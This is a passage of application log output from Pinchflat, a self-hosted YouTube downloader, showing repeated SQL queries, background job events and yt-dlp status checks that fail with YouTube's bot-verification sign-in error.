s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:40.411 [debug] QUERY OK source="settings" db=0.4ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:40.412 [debug] QUERY OK source="settings" db=0.5ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:40.412 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9hb6H1ZBys0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/eb/67/eb67c88527738f051b871a38f6e2ffe837665130d41f134f2faf040dfdbeaa53.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:42.048 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SsYdc2B_2xA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c9/ae/c9ae5f38aea9628057eda1aee2e5707a9e5401196bd192cf9362895338e87e77.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] SsYdc2B_2xA: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:42.048 [error] yt-dlp download error for media item #31: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] SsYdc2B_2xA: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:42.048 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] SsYdc2B_2xA: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:42.050 [info] {"args":{"id":31},"id":229,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2028669,"event":"job:stop","attempt":1,"queue_time":29019141,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:42.051 [debug] QUERY OK source="tasks" db=0.7ms idle=457.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:42.052 [debug] QUERY OK source="media_items" db=0.9ms idle=458.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [32] 20:31:42.057 [info] {"args":{"id":390},"id":231,"meta":{},"system_time":1774150302057171473,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:42.058 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=194.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [390] 20:31:42.059 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:42.060 [debug] QUERY OK source="tasks" db=2.4ms idle=7.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:42.061 [debug] QUERY OK source="sources" db=1.7ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:42.061 [debug] QUERY OK source="media_items" db=1.3ms idle=7.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [32, 390] 20:31:42.062 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:42.063 [debug] QUERY OK source="media_items" db=0.6ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [390] 20:31:42.064 [debug] QUERY OK source="media_metadata" db=0.1ms idle=4.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [390] 20:31:42.065 [debug] QUERY OK source="media_profiles" db=0.6ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:42.065 [debug] QUERY OK source="settings" db=0.5ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:42.066 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:42.067 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:42.068 [debug] QUERY OK source="settings" db=0.2ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:42.069 [debug] QUERY OK source="settings" db=0.6ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:42.069 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:42.069 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/rLhF5_4jp18 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5f/46/5f4647444e91281316f94966b64fc497f4dda93ced2fb4186de3b665ef81026c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:42.617 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9hb6H1ZBys0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/eb/67/eb67c88527738f051b871a38f6e2ffe837665130d41f134f2faf040dfdbeaa53.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] 9hb6H1ZBys0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:42.618 [error] yt-dlp download error for media item #32: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9hb6H1ZBys0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:42.618 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9hb6H1ZBys0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:42.619 [info] {"args":{"id":32},"id":230,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2222223,"event":"job:stop","attempt":1,"queue_time":29395062,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:42.621 [debug] QUERY OK source="tasks" db=0.8ms idle=553.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:42.621 [debug] QUERY OK source="media_items" db=0.4ms idle=552.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [390] 20:31:42.625 [info] {"args":{"id":391},"id":232,"meta":{},"system_time":1774150302625640254,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:42.626 [debug] QUERY OK source="tasks" db=0.7ms idle=556.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:42.627 [debug] QUERY OK source="media_items" db=1.1ms idle=6.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [391] 20:31:42.628 [debug] QUERY OK source="media_items" db=0.5ms queue=0.5ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [390, 391] 20:31:42.628 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:42.629 [debug] QUERY OK source="sources" db=0.9ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:42.631 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.4ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:42.632 [debug] QUERY OK source="media_items" db=0.9ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [391] 20:31:42.634 [debug] QUERY OK source="media_metadata" db=0.5ms idle=6.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [391] 20:31:42.635 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.3ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:42.636 [debug] QUERY OK source="settings" db=0.4ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:42.637 [debug] QUERY OK source="settings" db=0.7ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:42.638 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:42.639 [debug] QUERY OK source="settings" db=0.3ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:42.640 [debug] QUERY OK source="settings" db=0.8ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:42.641 [debug] QUERY OK source="settings" db=0.6ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:42.642 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/FRgj9CLLPeQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/3f/f4/3ff4f00b9d915a1f8682d07b970516fbc51da4be7adf3c5982666e1e18fd0c60.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:44.032 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/rLhF5_4jp18 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5f/46/5f4647444e91281316f94966b64fc497f4dda93ced2fb4186de3b665ef81026c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] rLhF5_4jp18: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:44.032 [error] yt-dlp download error for media item #390: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] rLhF5_4jp18: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:44.032 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] rLhF5_4jp18: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:44.033 [info] {"args":{"id":390},"id":231,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1975416,"event":"job:stop","attempt":1,"queue_time":31056152,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:44.034 [debug] QUERY OK source="tasks" db=0.6ms idle=1392.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:44.034 [debug] QUERY OK source="media_items" db=0.1ms idle=1392.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [391] 20:31:44.039 [info] {"args":{"id":392},"id":233,"meta":{},"system_time":1774150304039619760,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:44.040 [debug] QUERY OK source="media_items" db=0.4ms idle=170.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [392] 20:31:44.040 [debug] QUERY OK source="tasks" db=0.5ms idle=6.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", 